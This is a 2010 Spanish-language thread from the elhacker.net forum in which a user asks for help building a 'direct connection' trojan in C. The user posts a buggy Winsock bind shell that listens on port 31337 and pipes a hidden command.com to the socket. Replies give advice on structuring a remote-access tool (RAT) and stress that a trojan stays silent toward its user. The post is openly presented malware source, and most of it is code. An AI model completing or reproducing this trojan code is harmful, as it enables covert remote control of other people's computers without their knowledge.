Foro de elhacker.net

Programación => Programación C/C++ => Mensaje iniciado por: Garfield07 en 8 Septiembre 2010, 13:00 pm



Título: [C] Code troyano conexion directa
Publicado por: Garfield07 en 8 Septiembre 2010, 13:00 pm
Bueno, llevo mucho tiempo con este tema, y aun no lo he conseguido resolver. LLevo ya una semana buscando por el foro y googleando, pero no consigo encontrar ningun codigo en "C" de un troyano de conexion directa, para conseguir hacer yo uno, pues el de conex. inversa es realmente facil. Vosotros me aconsejasteis lo de las pipes, tuberias, pero no consigo que me funcione. He visto muchos codes de las pipes ("http://members.fortunecity.com/haxprt/casos_discucion/Servicio_Shell_Remota.html", si alguien kiere mirar) , pero no consigo que mi troyano funcione. He hecho varios codes, pero ninguno funciona....
Lo que os pido es que pongais aqui algunos codes de troyanos de conex. directa o hilos que no he conseguido encontrar...
Si alguno quiere ver el codigo de las pipe que no va...
Código
  1. #include <stdio.h>
  2. #include <stdlib.h>
  3. #include <winsock.h>
  4.  
  5. HANDLE Out, In, Err;
  6. HANDLE hThread[3];
  7. DWORD IDThread[3];
  8. STARTUPINFO Stup;
  9. SOCKET newsock;
  10. SOCKET sockfd;
  11.  
  12. DWORD WINAPI Lectura(LPVOID lpvThreadParm)
  13. {
  14.   char buffer;
  15.   unsigned long BytesRead;
  16.   int n;
  17.   while(1)
  18.   {
  19.   ReadFile(Out, &buffer, 1, &BytesRead, NULL);
  20.   n= send(sockfd, &buffer, 1, 0);
  21.   }
  22.   return 0;
  23. }
  24. DWORD WINAPI Escritura(LPVOID lpvThreadParm)
  25. {
  26.   char buffer;
  27.   unsigned long BytesRead;
  28.   int n;
  29.   while(1)
  30.   {
  31.   ReadFile(In, &buffer, 1, &BytesRead, NULL);
  32.   n= send(sockfd, &buffer, 1, 0);
  33.   }
  34.   return 0;
  35. }
  36. DWORD WINAPI LecturaError(LPVOID lpvThreadParm)
  37. {
  38.   char buffer;
  39.   unsigned long BytesRead;
  40.   int n;
  41.   while(1)
  42.   {
  43.   ReadFile(Err, &buffer, 1, &BytesRead, NULL);
  44.   n= send(sockfd, &buffer, 1, 0);
  45.   }
  46.   return 0;
  47. }
  48.  
  49. int ShellCode ()
  50. {
  51. CreatePipe (&Out, &Out, NULL, 0);
  52. CreatePipe (&In, &In, NULL, 0);
  53. CreatePipe (&Err, &Err, NULL, 0);
  54.  
  55. Stup.cb=sizeof (Stup);
  56. Stup.dwFlags = STARTF_USESTDHANDLES + STARTF_USESHOWWINDOW;
  57. Stup.wShowWindow = 0;
  58. Stup.hStdOutput = Out;
  59. Stup.hStdError = Err;
  60. Stup.hStdInput = In;
  61. CreateProcess (NULL, "command.com", NULL, NULL, 0, 0, NULL, NULL, &Stup, NULL);
  62.  
  63. hThread[0] = CreateThread(NULL, 0, Lectura, NULL, 0, &IDThread[0]);
  64. hThread[1] = CreateThread(NULL, 0, LecturaError, NULL, 0, &IDThread[1]);
  65. hThread[2] = CreateThread(NULL, 0, Escritura, NULL, 0, &IDThread[2]);
  66.  
  67. WaitForMultipleObjects( 3, hThread, TRUE, INFINITE);
  68. CloseHandle(hThread[0]);
  69. CloseHandle(hThread[1]);
  70. CloseHandle(hThread[2]);
  71. }
  72.  
  73. int main ()
  74. {
  75.    WSADATA wsaData;
  76.    WSAStartup(MAKEWORD(2, 0), &wsaData);
  77.    struct sockaddr_in host, client;
  78.    int a=sizeof (struct sockaddr);
  79.    sockfd=socket (2, 1, 0);
  80.    host.sin_family=AF_INET;
  81.    host.sin_addr.s_addr=0;
  82.    host.sin_port=htons (31337);
  83.    memset (host.sin_zero, 0, 8);
  84.    bind (sockfd, (struct sockaddr*)&host, sizeof (struct sockaddr));
  85.    listen (sockfd, 1);
  86.    while (1)
  87.    {
  88.        newsock=accept (sockfd, (struct sockaddr*)&client, &a);
  89. ShellCode ();
  90.        closesocket (newsock);
  91.    }
  92.    closesocket (sockfd);
  93.    return 0;
  94. }
  95.  
Producto de el vinculo de antes. No funciona correctamente.

Si alguno tiene sugerencias, codes buenos, o vinculos interesantes, que, por favor, los publique aqui lo antes posible.
Muchas gracias a todos.


Título: Re: [C] Code troyano conexion directa
Publicado por: Belial & Grimoire en 8 Septiembre 2010, 17:12 pm
hola

intenta hacerlo paso por paso haciendo pruebas... primero crea un cliente y un servidor con el socket, hazlo en forma directa como tu dices... despues crea un pipe hacia cmd, hazlo en otro archivo para que no tengas conflictos con el socket, cuando los dos te funcionen, juntalos... para ver si te funcionan.... trata de mandar de cliente a servidor un dir por ejemplo y ve si pudes ver el contenido con el pipe...

el pipe no lo hagas por ahorita con WINAPI trata de hacerlo en main por lo mientras y usa thread's para read y write, por algun lado puse un ejemplo de pipe, si lo encuentro lo vuelvo a postear


EDITADO

mira aqui esta el codigo, tenia un error, pero ya tiene tiempo que lo arregle y no recuerdo que hice... pero te servira como ejemplo de pipe

http://foro.elhacker.net/programacion_cc/como_hago_para_visualizar_toda_la_informacion_de_pipe-t274714.0.html;msg1347888#msg1347888



Título: Re: [C] Code troyano conexion directa
Publicado por: ☺BADMAN en 9 Septiembre 2010, 03:45 am
  Ese code lo veo muy erroneo la verdad si vas hacer un rat de conexion directa esta bien el winmain hasta el while ....

  if (newsocket != NULL)
     CreateThread(Escuchar, bla bla .....


  y en la funcion escuchar creas otro hilo con recv para recibir comandos o informacion ......

digo yo no  :silbar:


 


Título: Re: [C] Code troyano conexion directa
Publicado por: Garfield07 en 9 Septiembre 2010, 19:35 pm
Si, perdona, no escribi la comprobacion de errores. Veran, un troyano si algo va mal no alerta al usuario diciendo "Hola soy un troyano, he fallado avisa a Pepito xD"

Lo escribi todo en la v2.0 k la publicare mañana tarde k ahora no puedo, pero se que ese no es el fallo pues todo se hace con normalidad en la otra, pero aun asi no va.

El cliente/server se hacerlo, pero no se usar correctamente las pipes. Alguien tiene un manual sencillito para aprender a usarlas? Tu manual me ha hecho ver la tecnica pero no se hacerlas bien....

Saludos y muchas gracias


Título: Re: [C] Code troyano conexion directa
Publicado por: bizco en 9 Septiembre 2010, 19:38 pm
Sagrini no has leido ni 5 minutos la propia documentacion de la msdn.

Citar
un troyano si algo va mal no alerta al usuario diciendo "Hola soy un troyano, he fallado avisa a Pepito xD"

no, pero puede el programa retomar el control si algo falla..... digo yo.